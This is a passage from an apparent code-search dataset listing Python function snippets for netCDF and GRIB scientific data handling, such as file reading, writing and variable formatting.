(outp['latc'].shape[0],1)).astype(np.int16)\n return outp","def read_model_coord_var(case,varname):\n filelist = create_file_list(case)\n fpin = Nio.open_file(filelist[0],'r')\n data = fpin.variables[varname][:]\n fpin.close()\n return data","def netcdf_file(self, tmpdir, filename, dim=\"time\", values=[1234],\n units=None, global_attrs=None):\n path = str(tmpdir.join(filename))\n ds = Dataset(path, \"w\")\n ds.createDimension(dim, None)\n var = ds.createVariable(dim, np.float32, (dim,))\n if units:\n var.units = units\n var[:] = values\n if global_attrs:\n for attr, value in global_attrs.items():\n setattr(ds, attr, value)\n ds.close()\n return path","def test_get_prior_string_no_precision(self):\n dim = Real(\"yolo\", \"uniform\", 1, 2, precision=4)\n assert dim.get_prior_string() == \"uniform(1, 3)\"","def _default_netcdf_fflags():\n if _has_nc_config():\n ret_val = subprocess.check_output(\"nc-config --fflags\", shell=True)\n return ret_val.decode().strip()\n else:\n return \"\"","def param2FociStr(tParam):\r\n #Auxiliary variables\r\n cx, cy, l, w, tau = tParam\r\n sinT=np.sin(tau)\r\n cosT=np.cos(tau)\r\n c = (l**2-w**2)**.5\r\n\r\n # Foci&String parameters\r\n x1 = cx - cosT*c\r\n y1 = cy - sinT*c\r\n x2 = cx + cosT*c\r\n y2 = cy + sinT*c\r\n s = 2*l\r\n\r\n return (x1, y1, x2, y2, s)","def convertion_name(idn):\n inputn = 'f522_dh.trainingdata_in.lcv.'+idn+'.hdf5'\n outputn = 'jacobian_'+idn+'.npy'\n return(inputn, outputn)","def get_variable_full_name(var):\n if var._save_slice_info:\n return var._save_slice_info.full_name\n else:\n return var.op.name","def lonlat2string(val,lonlat):\n # Check lonlat is valid\n if lonlat not in ['lon','lat']:\n raise UserWarning(\"lonlat not valid. Must be 'lon' or 'lat'.\")\n # Remove decimal point if integer value, eg 5.0 becomes 5\n # and take absolute value\n if int(val)==val:\n xx=abs(int(val))\n else:\n xx=abs(val)\n # Set sign\n if lonlat=='lon':\n if val<0:\n sign='W'\n elif 0<=val<=180:\n sign='E'\n else:\n xx=360-xx\n sign='W'\n else:\n if val<0:\n sign='S'\n else:\n sign='N'\n # Create string\n lonlatstring=str(xx)+'$^\\circ$'+sign\n return lonlatstring","def PseudoIOAPIVariable(parent,name,typecode,dimensions,**kwds):\n\n retval = PseudoNetCDFVariable(parent, name, typecode, dimensions, **kwds)\n\n if not 'units' in kwds:\n warn('IOAPI variables must have units; %s has been initialized with \"None\" units')\n retval.units = 'None'\n \n if not 'long_name' in kwds:\n retval.long_name = name.ljust(16)\n\n if not 'var_desc' in kwds:\n retval.var_desc = name.ljust(80)\n\n return retval","def getGridName(self, in_nc, high_res=False):\r\n if high_res:\r\n return 'ecmwf_t1279'\r\n return 'ecmwf_tco639'\r\n #if high_res: # Line Added/Modified CJB 20190108\r\n #return 'ecmwf_HRES_F' # Line Added/Modified CJB 20190108\r\n #else: # MJS 20190108\r\n #return 'ecmwf_ENS_F' # Line Added/Modified MJS, CJB 20190108\r","def _as_string(self, name):\n org_type = self._get_type(name)\n if org_type == 'string': return None\n valid = ['single', 'delimited set', 'int', 'float', 'date']\n if not org_type in valid:\n msg = 'Cannot convert variable {} of type {} to text!'\n raise TypeError(msg.format(name, org_type))\n self._meta['columns'][name]['type'] = 'string'\n if self._get_type in ['single', 'delimited set']:\n self._meta['columns'][name].pop('values')\n self._data[name] = self._data[name].astype(str)\n return None","def to_string(self, smirnoff_data):\n pass","def _file_name(self, dtype_out_time, extension='nc'):\n out_lbl = utils.io.data_out_label(self.intvl_out, dtype_out_time,\n dtype_vert=self.dtype_out_vert)\n in_lbl = utils.io.data_in_label(self.intvl_in, self.dtype_in_time,\n self.dtype_in_vert)\n ens_lbl = utils.io.ens_label(self.ens_mem)\n yr_lbl = utils.io.yr_label((self.start_date.year, self.end_date.year))\n return '.'.join(\n [self.name, out_lbl, in_lbl, self.model.name,\n self.run.name, ens_lbl, yr_lbl, extension]\n ).replace('..', '.')","def src_get_name(converter_type):\n return ffi.string(_lib.src_get_name(converter_type)).decode()","def rho_name(m1, m2):\n root = \"/Users/atlytle/Dropbox/pycode/tifr/data/\"\n return root + \"HOrho_l2464_m{0}_m{1}.npy\".format(m1, m2)","def create_xif_for_raw_data(\n xdm_rule, xdm_field_type, xdm_class_type, field_path_raw, type_raw\n) -> str:\n logger.info(\n f'field name: \"{field_path_raw}\" - xdm type: {xdm_field_type} - raw type {type_raw}'\n )\n name = field_path_raw\n\n if \".\" in field_path_raw:\n dict_keys = field_path_raw.split(\".\")\n prefix = dict_keys[0]\n suffix = \".\".join(dict_keys[1:])\n if xdm_class_type == \"Array\":\n name = json_extract_array_wrap(prefix, suffix)\n return name\n else:\n name = json_extract_scalar_wrap(prefix, suffix)\n\n if xdm_field_type != convert_raw_type_to_xdm_type(type_raw):\n # Type casting\n name = convert_to_xdm_type(name, xdm_field_type)\n\n if xdm_class_type == \"Array\":\n # convert a scalar into an array\n name = array_create_wrap(name)\n\n return name","def create_run_str(reqnum, unitname, attnum):\n run = '%s_r%sp%02d' % (unitname, reqnum, int(attnum))\n return run","def _read_nc(self, FN):\n from netCDF4 import Dataset\n grid_nc = Dataset(FN, 'r')\n data = {}\n for key in list(grid_nc.variables):\n data[key] = np.array(grid_nc.variables[key][:][0][:])\n grid_nc.close()\n return data","def _convert_to_string(srs):\n return srs.map(lambda x: str(x))","def get_device_str(device_id, num_gpus):\n if num_gpus == 0:\n return \"/cpu:0\"\n device_str_output = \"/gpu:%d\" % (device_id % num_gpus)\n return device_str_output","def _load_nc(filename=None):\n\n ncid = netcdf.netcdf_file(filename, 'r',mmap=True)\n \n data={}\n\n for i in ncid.variables.keys():\n data[i]=ncid.variables[i].data\n\n return data","def mysummary(self):\n return self.sprintf(\"IGMPv3 Group Record %IGMPv3gr.type% %IGMPv3gr.maddr%\")","def test_get_prior_string_precision(self):\n dim = Real(\"yolo\", \"uniform\", 1, 2, precision=5)\n assert dim.get_prior_string() == \"uniform(1, 3, precision=5)\"","def make_data_label(self):\n data_label = \"\"\n if self.detector is not None:\n data_label += \"%s \"%self.detector\n if self.selection is not None:\n data_label += \"%s Event Selection\"%self.selection\n if data_label == \"\":\n data_label = \"IceCube\"\n return data_label","def nfkc_txt(request) -> Dict[str, str]:\n return request.param","def native_string(input_var):\n if isinstance(input_var, str):\n return input_var\n\n return input_var.decode('utf-8', 'replace')","def var_to_string(var):\n\n var_code = type_codes.get(var.get(\"type\", None), None)\n\n if (not var_code):\n raise ValueError(\"Cannot convert variable to string\")\n\n code = var_code.format(**var)\n\n return code","def clc_core_fn_name(dst, size='', mode='', sat=''):\n return \"__clc_convert_{DST}{N}{SAT}{MODE}\".format(DST=dst, N=size, SAT=sat, MODE=mode)","def format_term(term: Union[BNode, Literal, URIRef, Variable]) -> str:\n if isinstance(term, URIRef):\n return str(term)\n elif isinstance(term, BNode):\n return '?v_' + str(term)\n elif isinstance(term, Literal):\n return format_literal(term)\n else:\n return term.n3()","def write_netcdf(file, lons, lats, times, hydrographs, fractions, loc, grid_id,\n inds, Flist, velocity, diffusion, fill_value, verbose):\n f = Dataset(file,'w', format='NETCDF4')\n\n # set dimensions\n time = f.createDimension('time', None)\n lon = f.createDimension('lon', (len(lons)))\n lat = f.createDimension('lat', (len(lats)))\n\n # initialize variables\n time = f.createVariable('time','f8',('time',))\n lon = f.createVariable('lon','f8',('lon',))\n lat = f.createVariable('lat','f8',('lat',))\n fraction = f.createVariable('fraction','f8',('lat','lon',),fill_value=fill_value)\n UHS = f.createVariable('unit_hydrograph','f8',('time','lat','lon',),fill_value=fill_value)\n\n # write attributes for netcdf\n f.description = 'Aggregated UH_S and Fraction Vars'\n f.history = 'Created: {}\\n'.format(tm.ctime(tm.time()))\n f.history += ' '.join(sys.argv) + '\\n'\n f.source = sys.argv[0] # prints the name of script used\n f.velocity = velocity\n f.diffusion = diffusion\n f.outlet_id = str(grid_id.astype(np.int64))\n f.outlet_y= str(inds[0].astype(np.int64))\n f.outlet_x = str(inds[1].astype(np.int64)) # this is change is a cdo work around. Othewise cdo removes the attribute. \n f.outlet_lat = loc[0]\n f.outlet_lon = loc[1]\n f.includes = ', '.join(Flist)\n\n lat.long_name = 'latitude coordinate'\n lat.standard_name = 'latitude'\n lat.units = 'degrees_north'\n\n lon.long_name = 'longitude coordinate'\n lon.standard_name = 'longitude'\n lon.units = 'degrees_east'\n\n time.units = 'seconds since 0001-1-1 0:0:0'\n time.calendar = 'noleap'\n time.longname = 'time'\n time.type_prefered = 'float'\n time.description = 'Seconds since initial impulse'\n\n UHS.units = 'unitless'\n UHS.description = 'unit hydrograph for each grid cell with respect to downstream grid location'\n \n fraction.units = 'unitless'\n fraction.description = 'fraction of grid cell contributing to guage location'\n\n # write data to variables initialized above\n time[:]= times\n lon[:] = lons\n lat[:] = lats\n UHS[:,:,:] = hydrographs\n fraction[:,:]= fractions\n f.close()","def get_fable_string():\n f = open(\"fable.txt\", \"r\")\n fable = str(f.read())\n f.close()\n return fable","def addtonc(ncfout,key,vd,ofield,ftype=\"timeseries\"):\n nc_out=nc.Dataset(ncfout,'r+')\n if ftype==\"timeseries\":\n diml=['time','height','south_north','west_east'] # Tuple of Dimensions\n if vd['dims']==4:\n dimtup=tuple(diml)\n elif vd['dims']==3:\n dimtup = tuple([c for c in diml if c != \"height\"])\n elif vd['dims']==2:\n dimtup = tuple([c for c in diml if c not in [\"height\",\"time\"]])\n elif ftype==\"roughness\":\n diml=['south_north','west_east']\n dimtup=tuple(diml)\n elif ftype==\"tabfile\":\n diml=['south_north','west_east','sector','wind','stab']\n if vd['dims']==3:\n dimtup=tuple(diml.remove('wind').remove('stab'))\n if vd['dims']==2:\n dimtup=tuple(diml.remove('wind').remove('stab').remove('sector'))\n if key in (\"TKE\", \"ABLAT_CYL\", \"ACCRE_CYL\"):\n outv=nc_out.createVariable(key, 'f4', dimtup, zlib=True,\n complevel=9, fill_value=-999.)\n else:\n outv=nc_out.createVariable(key,'f4',dimtup,zlib=True,complevel=9)\n outv.units=vd['units']\n outv.long_name=vd['name']\n if vd['std_name'] is not None:\n outv.standard_name=vd['std_name']\n if key==\"PRECIP\":\n outv.cell_methods=\"time: sum\"\n outv.grid_mapping=\"crs\"\n outv.coordinates=\"XLAT XLON\"\n outv[:]=ofield[:]\n nc_out.close()\n return(None)","def to_fnu(self, fnu_units=FNU_CGS):\n #import astropy.constants as const\n #flux_fnu = self.flux * self.wave**2 / 3.e18\n #flux_fnu = (self.flux*self.fluxunits*(self.wave*self.waveunits)**2/const.c).to(FNU_CGS) #, \n \n if ((FNU_CGS.__str__() == 'erg / (cm2 Hz s)') & \n (self.fluxunits.__str__() == 'erg / (Angstrom cm2 s)')):\n # Faster\n flux_fnu = self.flux*self.wave**2/2.99792458e18*fnu_units\n else:\n # Use astropy conversion\n flux_fnu = (self.flux*self.fluxunits).to(fnu_units, equivalencies=u.spectral_density(self.wave*self.waveunits))\n \n self.fnu_units = fnu_units\n self.flux_fnu = flux_fnu.value","def _qstring(f):\n \n length_header = np.uint32(struct.unpack('I', f.read(4)))[0]\n if length_header == int('ffffffff' , 16): #ffffffff specifies a null string\n return\n if length_header == 0: #0 is an empty string\n return ''\n string = f.read(length_header)\n \n #decoding hack, enables dictionary call by ascii (rather than hex)\n ascii = \"\".join(list(string)[::2])\n \n return ascii","def to_string(self):\n return 'PMC<%s>' % self.pmc_name","def ncwrt_retrieval_model(retr_setup, outname=None):\n\n #-- set name of file to be generated\n act_outname = outname if outname!=None else 'retrmodel.nc'\n msg = \"Start writing configuration file ***{}***...\".format(act_outname)\n FileLogger.info(msg)\n\n #-- compression settings\n zlev = retr_setup.zlev\n use_zlib = retr_setup.use_zlib\n\n #-- retrieval settings\n schedule_dct = retr_setup.schedule_dct\n timepts = schedule_dct['date_utc']\n npts = len(timepts)\n a_components = retr_setup.a_components\n b_components = retr_setup.b_components\n munc_components = retr_setup.munc_components\n\n #-- temporal settings, create time-values (time-since)\n time_start, time_end = datelst_get_month_aligned_bounds(timepts)\n time_coverage_start = time_start.strftime('%Y-%m-%dT%H:%M:%S')\n time_coverage_end = time_end.strftime('%Y-%m-%dT%H:%M:%S')\n ref_time = dt.datetime(timepts[0].year,1,1) #January1st in year of first point in time\n time_unit = 'seconds since {}'.format(ref_time.strftime('%Y-%m-%dT%H:%M:%S'))\n time_values = nc4.date2num(timepts, time_unit)\n\n #-- ensure directory exists\n mkdirp_smart(os.path.dirname(act_outname))\n\n #-- open file pointer\n ncfp = nc4.Dataset(act_outname, 'w')\n #-- add dimensions\n d1 = ncfp.createDimension('npoints',npts)\n\n #-- time-value\n ncvar = ncfp.createVariable( 'time', np.float64, ('npoints',),\n zlib=use_zlib, complevel=zlev )\n ncvar.setncattr('standard_name','time')\n ncvar.setncattr('long_name','time')\n ncvar.setncattr('units', time_unit)\n ncvar[:] = time_values[:]\n\n unit_one = np.float64(1)\n #-- a-coefficient part\n # lai\n ncvar = ncfp.createVariable( 'a_lai', np.float64, ('npoints',),\n zlib=use_zlib, complevel=zlev )\n ncvar.setncattr('long_name', 'a coefficient associated to LAI in dynamic state model')\n ncvar.setncattr('units',unit_one)\n ncvar[:] = a_components[0,:]\n # canht\n ncvar = ncfp.createVariable( 'a_canht', np.float64, ('npoints',),\n zlib=use_zlib, complevel=zlev )\n ncvar.setncattr('long_name', 'a coefficient associated to canopy height in dynamic state model')\n ncvar.setncattr('units',unit_one)\n ncvar[:] = a_components[1,:]\n # soil moisture\n ncvar = ncfp.createVariable( 'a_sm', np.float64, ('npoints',),\n zlib=use_zlib, complevel=zlev )\n ncvar.setncattr('long_name', 'a coefficient associated to soil moisture in dynamic state model')\n ncvar.setncattr('units',unit_one)\n ncvar[:] = a_components[2,:]\n\n #-- offset-coefficient part\n # lai\n ncvar = ncfp.createVariable( 'offset_lai', np.float64, ('npoints',),\n zlib=use_zlib, complevel=zlev )\n ncvar.setncattr('long_name', 'offset associated to LAI in dynamic state model')\n ncvar.setncattr('units',unit_one)\n ncvar[:] = b_components[0,:]\n # canht\n ncvar = ncfp.createVariable( 'offset_canht', np.float64, ('npoints',),\n zlib=use_zlib, complevel=zlev )\n ncvar.setncattr('long_name', 'offset associated to canopy height in dynamic state model')\n ncvar.setncattr('units',unit_one)\n ncvar[:] = b_components[1,:]\n # soil moisture\n ncvar = ncfp.createVariable( 'offset_sm', np.float64, ('npoints',),\n zlib=use_zlib, complevel=zlev )\n ncvar.setncattr('long_name', 'offset associated to soil moisture in dynamic state model')\n ncvar.setncattr('units',unit_one)\n ncvar[:] = b_components[2,:]\n\n #-- model-uncertainty part\n # lai\n ncvar = ncfp.createVariable( 'munc_lai', np.float64, ('npoints',),\n zlib=use_zlib, complevel=zlev )\n ncvar.setncattr('long_name', 'model uncertainty associated to LAI in dynamic state model')\n ncvar.setncattr('units',unit_one)\n ncvar[:] = munc_components[0,:]\n # canht\n ncvar = ncfp.createVariable( 'munc_canht', np.float64, ('npoints',),\n zlib=use_zlib, complevel=zlev )\n ncvar.setncattr('long_name', 'model uncertainty associated to canopy height in dynamic state model')\n ncvar.setncattr('units',unit_one)\n ncvar[:] = munc_components[1,:]\n # soil moisture\n ncvar = ncfp.createVariable( 'munc_sm', np.float64, ('npoints',),\n zlib=use_zlib, complevel=zlev )\n ncvar.setncattr('long_name', 'model uncertainty associated to soil moisture in dynamic state model')\n ncvar.setncattr('units',unit_one)\n ncvar[:] = munc_components[2,:]\n\n\n #-- global attributes\n ncfp.setncattr('creator_name',\"The Inversion Lab, Hamburg, Germany\")\n ncfp.setncattr('creator_email', \"Michael.Vossbeck(at)Inversion-Lab.com\")\n ncfp.setncattr('netcdf_libversion',\"{}\".format(nc4.__netcdf4libversion__))\n ncfp.setncattr('date_created',\"{}\".format(dt.datetime.utcnow().isoformat()))\n ncfp.setncattr('time_coverage_start',time_coverage_start)\n ncfp.setncattr('time_coverage_end',time_coverage_end)\n\n #-- close file pointer\n ncfp.close()\n\n # logging\n msg = \"...writing ***{}*** DONE\".format(act_outname)\n FileLogger.info(msg)","def write_to_netCDF(nc_filename, data,\n ncformat='NETCDF4_CLASSIC',\n all_variables=False,\n verbose=True):\n ncfile = Dataset(nc_filename,'w', format=ncformat, clobber=True)\n for dd,dim in enumerate(data['dims']):\n ncfile.createDimension(data['dimname'][dd],dim)\n for vv,varname in enumerate(data['varn']):\n if all_variables:\n newvar = ncfile.createVariable(varname,\n data['vardtype'][vv],\n data['vardims'][vv])\n newvar[:] = data['data'][vv]\n newvar.units = data['units'][vv]\n else:\n if varname in core_variables:\n newvar = ncfile.createVariable(varname,\n data['vardtype'][vv],\n data['vardims'][vv],\n fill_value=data['fillValue'])\n newvar[:] = data['data'][vv]\n if verbose:\n print(varname)\n print(newvar[newvar == np.nan])\n newvar[newvar == np.nan] = data['fillValue']\n newvar.units = data['units'][vv]\n ncfile.createDimension('nchars',19)\n newvar[:] = data['time']\n ncfile.description = data['description']\n ncfile.station = data['station']\n ncfile.sensor = data['sensor']\n ncfile.latitude = data['latitude']\n ncfile.longitude = data['longitude']\n ncfile.altitude = data['altitude']\n ncfile.createdon = datetime.now().strftime(standard_datetime_fmt)\n ncfile.createdby = data['author']\n ncfile.close()","def string(rxn_class):\n spin_str = '' if spin(rxn_class) is None else spin(rxn_class)\n radrad_str = '' if not radrad(rxn_class) else 'radical-radical'\n isc_str = '' if not isc(rxn_class) else 'intersystem-crossing'\n cls_str = typ(rxn_class)\n\n out_str = ''\n for str_ in (isc_str, radrad_str, spin_str, cls_str):\n if str_:\n out_str += f'{str_} '\n\n return out_str.strip()","def save_ncds(vardict,coords,attrs={},filename=None):\n \n if 'time' in coords.keys():\n newtime = [np.double((t-dt(1800,1,1)).total_seconds()/3600) for t in coords['time']['data']]\n delta_t = np.gradient(newtime)[0]\n \n coords['time']['data'] = newtime\n coords['time']['attrs'] = {'long_name':\"Time\",\n 'delta_t':f\"0000-00-{int(delta_t/24):02} {int(delta_t%24):02}:00:00\",\n 'standard_name':\"time\",\n 'axis': \"T\",\n 'units':\"hours since 1800-01-01 00:00:0.0\"}\n \n if 'climo' in vardict.keys():\n long_name = vardict['climo']['attrs']['long_name']\n vardict['climo']['attrs']['long_name'] = 'Climatology of '+long_name\n \n encoding = {k: {'dtype': 'double', '_FillValue': 1e30} for k in coords.keys()}\n for k in vardict.keys():\n encoding.update({k: {'dtype': 'single', '_FillValue': 1e30}})\n \n ds = xr.Dataset.from_dict({\n 'coords':coords,\n 'data_vars':vardict,\n 'dims':[k for k,v in coords.items()],\n 'attrs':attrs,\n })\n \n if isinstance(filename,str):\n ds.to_netcdf(filename,encoding=encoding,mode='w',engine='scipy')\n ds.close()\n else:\n print('filename must be a string')"],"string":"[\n \"def __str__(self):\\n return self.identity(default=self.nc_get_variable(\\\"\\\"))\",\n \"def to_netcdf(self, outfile):\",\n \"def read_netcdf(self,filename):\",\n \"def read_nc(input_file_path_str,var_name=None):\\r\\n\\r\\n if not exists(dirname(input_file_path_str)):\\r\\n print('*** ERROR, input file path does not exist: ' + dirname(input_file_path_str))\\r\\n exit()\\r\\n\\r\\n if var_name is None:\\r\\n nc_file = Dataset(input_file_path_str,'r')\\r\\n return nc_file\\r\\n else: \\r\\n nc_file = Dataset(input_file_path_str,'r')\\r\\n file = nc_file.variables[var_name][:,:,:]\\r\\n nc_file.close()\\r\\n return(file)\",\n \"def fid_to_var(self, fid):\\n index_only = fid[2:7].split(',')\\n id = [int(i) for i in index_only]\\n x, y, z = id\\n value = self.groups[x][y]\\n root = self.root_group[z]\\n return f'{value}_{root}'\",\n \"def load_nc(file,var):\\n\\tf = netCDF4.Dataset(file,'r+')\\n\\tdara = f.variables[var][:]\\n\\tf.close()\\n\\treturn data\",\n \"def stringReco(obj):\\n name = obj.get_name()\\n name = obj._pid if (name is None) else name\\n return (\\\"pdg: \\\" + name + \\\" E: \\\" + str(obj._E)\\n + \\\" px: \\\" + str(obj._px) + \\\" py: \\\" + str(obj._py)\\n + \\\" pz: \\\"+ str(obj._pz) + \\\" mass: \\\" + str(obj._m))\",\n \"def primitive(self, arg: SeField[Any]) -> str:\\n typ = typename(arg.type)\\n var = arg.varname\\n if self.suppress_coerce:\\n return var\\n else:\\n return f\\\"coerce({typ}, {var})\\\"\",\n \"def grib2nc(f_hrrr, output=None, external_logger=None):\\n\\tstart = time.time()\\n\\tif external_logger == None:\\n\\t\\tfmt = \\\"%(levelname)s: %(msg)s\\\"\\n\\t\\tlog = logging.getLogger(__name__)\\n\\t\\tcoloredlogs.install(logger=log, fmt=fmt)\\n\\n\\n\\tmsg = \\\"GRIB2NC Converter Utility\\\"\\n\\tlog.info(msg)\\n\\tlog.info(\\\"=\\\" * len(msg))\\n\\n\\t# criteria dictionary for extracting variables, CASE MATTERS\\n\\tcriteria = {'air_temp': {\\n\\t \\t'wgrib2 keys':[\\\":TMP Temperature\\\",\\\"2 m\\\"]},\\n\\n\\t\\t\\t\\t'dew_point': {\\n\\t\\t\\t\\t'wgrib2 keys':[\\\":DPT\\\",\\\"2 m\\\"]},\\n\\n\\t\\t\\t\\t'relative_humidity': {\\n\\t\\t\\t\\t'wgrib2 keys':[\\\":RH Relative Humidity\\\",\\\"2 m\\\"]\\n\\t },\\n\\t 'wind_u': {\\n\\t\\t\\t\\t'wgrib2 keys':[\\\":UGRD U-Component\\\",\\\"10 m\\\"]\\n\\n\\t },\\n\\t 'wind_v': {\\n\\t\\t\\t\\t'wgrib2 keys':[\\\":VGRD V-Component\\\",\\\"10 m\\\"]\\n\\n\\t },\\n\\t 'precip_int': {\\n\\t\\t\\t\\t'wgrib2 keys':[\\\":APCP Total Precipitation\\\"]\\n\\n\\t },\\n\\t 'short_wave': {\\n\\t\\t\\t\\t'wgrib2 keys':['Downward Short-Wave Radiation Flux', ':surface']\\n\\t },\\n\\t }\\n\\n\\t# No output file name used, use the original plus a new extension\\n\\tif output == None:\\n\\t\\toutput = \\\".\\\".join(os.path.basename(f_hrrr).split(\\\".\\\")[0:-1]) + \\\".nc\\\"\\n\\n\\tgrib_vars = \\\"\\\"\\n\\tvar_count = 0\\n\\t# Cycle through all the variables and export the grib var names\\n\\tfor k,v in criteria.items():\\n\\t\\tlog.info(\\\"Attempting to extract grib name for {} \\\".format(k))\\n\\n\\t\\tcmd = \\\"wgrib2 -v {} \\\".format(f_hrrr)\\n\\n\\t\\t# Add all the search filters\\n\\t\\tfor kw in v[\\\"wgrib2 keys\\\"]:\\n\\t\\t\\tcmd += '| egrep \\\"({})\\\" '.format(kw)\\n\\t\\t# Run the command\\n\\n\\t\\t#cmd += \\\" -netcdf {}\\\".format(output)\\n\\t\\ts = check_output(cmd, shell=True).decode('utf-8')\\n\\n\\t\\t# Check if we only identify one variable based on line returns\\n\\t\\treturn_count = len([True for c in s if c == '\\\\n'])\\n\\n\\t\\tif return_count != 1:\\n\\t\\t\\tlog.warning(\\\"Found multiple variable entries for keywords \\\"\\n\\t\\t\\t\\t\\t\\t\\\"associated with {}\\\".format(k))\\n\\t\\t\\tvar_count += return_count\\n\\t\\telse:\\n\\t\\t\\tvar_count += 1\\n\\t\\t# Add the grib var name to our running string/list\\n\\t\\tgrib_vars += s\\n\\n\\tlog.info(\\\"Extracting {} variables and converting to netcdf...\\\".format(var_count))\\n\\tlog.info(\\\"Outputting to: {}\\\".format(output))\\n\\n\\t# Using the var names we just collected run wgrib2 for netcdf conversion\\n\\tcmd = 'echo \\\"{}\\\" | wgrib2 -i {} -netcdf {}'.format(grib_vars, f_hrrr, output)\\n\\ts = check_output(cmd, shell=True)\\n\\n\\tlog.info(\\\"Complete! Elapsed {:0.0f}s\\\".format(time.time()-start))\",\n \"def get_filename_Nd_from_varName(varName, caseName, from_year, model_name, pressure_adjust, to_year):\\n n_split = varName.split('_')\\n if len(n_split)==3:\\n from_diam = int(n_split[0][1:])\\n to_diam = int(n_split[-1])\\n else:\\n from_diam=0\\n to_diam = int(n_split[-1])\\n filen = get_filename_Nd(caseName, from_year, model_name, pressure_adjust, to_year, from_diam, to_diam)\\n return filen\",\n \"def literal_to_string(self, literal):\\n s = '!' if is_negated(literal) else ''\\n return s + self.variables[literal >> 1]\",\n \"def to_netcdf(pr_field, pr_units, times, time_bnds, time_units,\\n lats, lat_bnds, lons, lon_bnds, filename):\\n if len(pr_field) != len(times):\\n raise ValueError(\\\"Mismatch in length of precipitation field and \\\"\\n \\\"datetime collections. Should be equal.\\\")\\n\\n rootgrp = nc.Dataset(\\\"%s\\\" % filename, 'w', format='NETCDF4')\\n\\n # Dimensions\\n rootgrp.createDimension('lat', 64)\\n rootgrp.createDimension('lon', 128)\\n rootgrp.createDimension('bnds', 2)\\n rootgrp.createDimension('time', None)\\n\\n # Variables\\n lat_out = rootgrp.createVariable('lat', 'f8', ('lat',))\\n lat_bnds_out = rootgrp.createVariable('lat_bnds', 'f8', ('lat', 'bnds',))\\n lon_out = rootgrp.createVariable('lon', 'f8', ('lon',))\\n lon_bnds_out = rootgrp.createVariable('lon_bnds', 'f8', ('lon', 'bnds',))\\n time_out = rootgrp.createVariable('time', 'f8', ('time',))\\n time_bnds_out = rootgrp.createVariable('time_bnds', 'f8', ('time', 'bnds',))\\n pr_out = rootgrp.createVariable('pr', 'f8', ('time', 'lat', 'lon'))\\n\\n # Attributes\\n rootgrp.description = \\\"Precipitation forecasts emulating idealized \\\" \\\\\\n \\\"precipitation output from the CanESM2 Earth System \\\" \\\\\\n \\\"Model CanESM2.\\\"\\n rootgrp.source = \\\"deep_climate_emulator python package.\\\"\\n\\n lat_out.units = \\\"degrees_north\\\"\\n lat_out.axis = \\\"Y\\\"\\n lat_out.long_name = \\\"latitude\\\"\\n lat_out.standard_name = \\\"latitude\\\"\\n lat_out.bounds = 'lat_bnds'\\n\\n lon_out.units = \\\"degrees_east\\\"\\n lon_out.axis = \\\"X\\\"\\n lon_out.long_name = \\\"longitude\\\"\\n lon_out.standard_name = \\\"longitude\\\"\\n lon_out.bounds = 'lon_bnds'\\n\\n time_out.units = time_units\\n time_out.calendar = \\\"365_day\\\"\\n time_out.axis = \\\"T\\\"\\n time_out.long_name = \\\"time\\\"\\n time_out.standard_name = \\\"time\\\"\\n time_out.bounds = 'time_bnds'\\n\\n pr_out.units = pr_units\\n pr_out.long_name = \\\"Precipitation\\\"\\n pr_out.standard_name = \\\"precipitation_flux\\\"\\n pr_out.comment = \\\"at surface; includes both liquid and solid phases from \\\" \\\\\\n \\\"all types of clouds (both large-scale and convective)\\\"\\n\\n lat_out[:] = lats[:]\\n lon_out[:] = lons[:]\\n lat_bnds_out[:] = lat_bnds[:]\\n lon_bnds_out[:] = lon_bnds[:]\\n time_bnds_out[:] = time_bnds\\n time_out[:] = times\\n pr_out[:] = pr_field\\n\\n rootgrp.close()\\n print('Exported data to %s' % filename)\",\n \"def eff_param_string():\\n return '[0] * (1 - [1] * (TMath::Erf(x[0] + [2]) - [1] / [4] * (x[0] - [3] * (pow(x[0], 2) - [3] / [5] * pow(x[0], 3)))))'\",\n \"def c_variable(text):\\n txt = text.replace(\\\"_\\\", \\\" \\\")\\n return 'C {}'.format(txt)\",\n \"def read_cable_var(fcable, var_name):\\n\\n print(\\\"carry on read_cable_var\\\")\\n cable = nc.Dataset(fcable, 'r')\\n Time = nc.num2date(cable.variables['time'][:],cable.variables['time'].units)\\n if var_name in [\\\"TVeg\\\", \\\"ESoil\\\", \\\"Rainf\\\", \\\"GPP\\\"]:\\n var = pd.DataFrame(cable.variables[var_name][:,0,0]*1800., columns=['cable'])\\n else:\\n var = pd.DataFrame(cable.variables[var_name][:,0,0], columns=['cable'])\\n var['Date'] = Time\\n var = var.set_index('Date')\\n if var_name in [\\\"TVeg\\\", \\\"ESoil\\\", \\\"Rainf\\\", \\\"GPP\\\"]:\\n var = var.resample(\\\"D\\\").agg('sum')\\n else:\\n print(\\\"is here\\\")\\n var = var.resample(\\\"D\\\").agg('mean')\\n var.index = var.index - pd.datetime(2011,12,31)\\n var.index = var.index.days\\n var = var.sort_values(by=['Date'])\\n\\n return var\",\n \"def write_netcdf(file,xc,xc_bnd,yc,yc_bnd,times,hydrographs,fractions,loc,Flist,velocity,diffusion,NODATA,verbose):\\n \\n f = Dataset(file,'w', format='NETCDF4')\\n\\n # set dimensions\\n time = f.createDimension('time', None)\\n x = f.createDimension('x',xc.shape[1])\\n y = f.createDimension('y',xc.shape[0])\\n nv4 = f.createDimension('nv4',4)\\n\\n # initialize variables\\n time = f.createVariable('time','f8',('time',))\\n xcs = f.createVariable('xc','f8',('y','x',))\\n ycs = f.createVariable('yc','f8',('y','x',))\\n xc_bnds = f.createVariable('xc_bnds','f8',('y','x','nv4',))\\n yc_bnds = f.createVariable('yc_bnds','f8',('y','x','nv4',))\\n fraction = f.createVariable('fraction','f8',('y','x',),fill_value=NODATA)\\n UHS = f.createVariable('unit_hydrograph','f8',('time','y','x',),fill_value=NODATA)\\n\\n # write attributes for netcdf\\n f.description = 'Aggregated UH_S and Fraction Vars for full RASM domain'\\n f.history = 'Created: {}\\\\n'.format(tm.ctime(tm.time()))\\n f.history += ' '.join(sys.argv) + '\\\\n'\\n f.source = sys.argv[0] # prints the name of script used\\n f.velocity = velocity\\n f.diffusion = diffusion\\n f.outlet_lon = loc[0]\\n f.outlet_lat = loc[1]\\n f.includes = str(len(Flist))+' files'\\n\\n ycs.long_name = 'latitude of grid cell center'\\n ycs.standard_name = 'latitude'\\n ycs.units = 'degrees_north'\\n ycs._CoordinateAxisType = 'Lat'\\n ycs.bounds = 'yc_bnds'\\n\\n xcs.long_name = 'longitude of grid cell center'\\n xcs.standard_name = 'longitude'\\n xcs.units = 'degrees_east'\\n xcs._CoordinateAxisType = 'Lon'\\n xcs.bounds = 'xc_bnds'\\n\\n time.standard_name = 'time'\\n time.units = 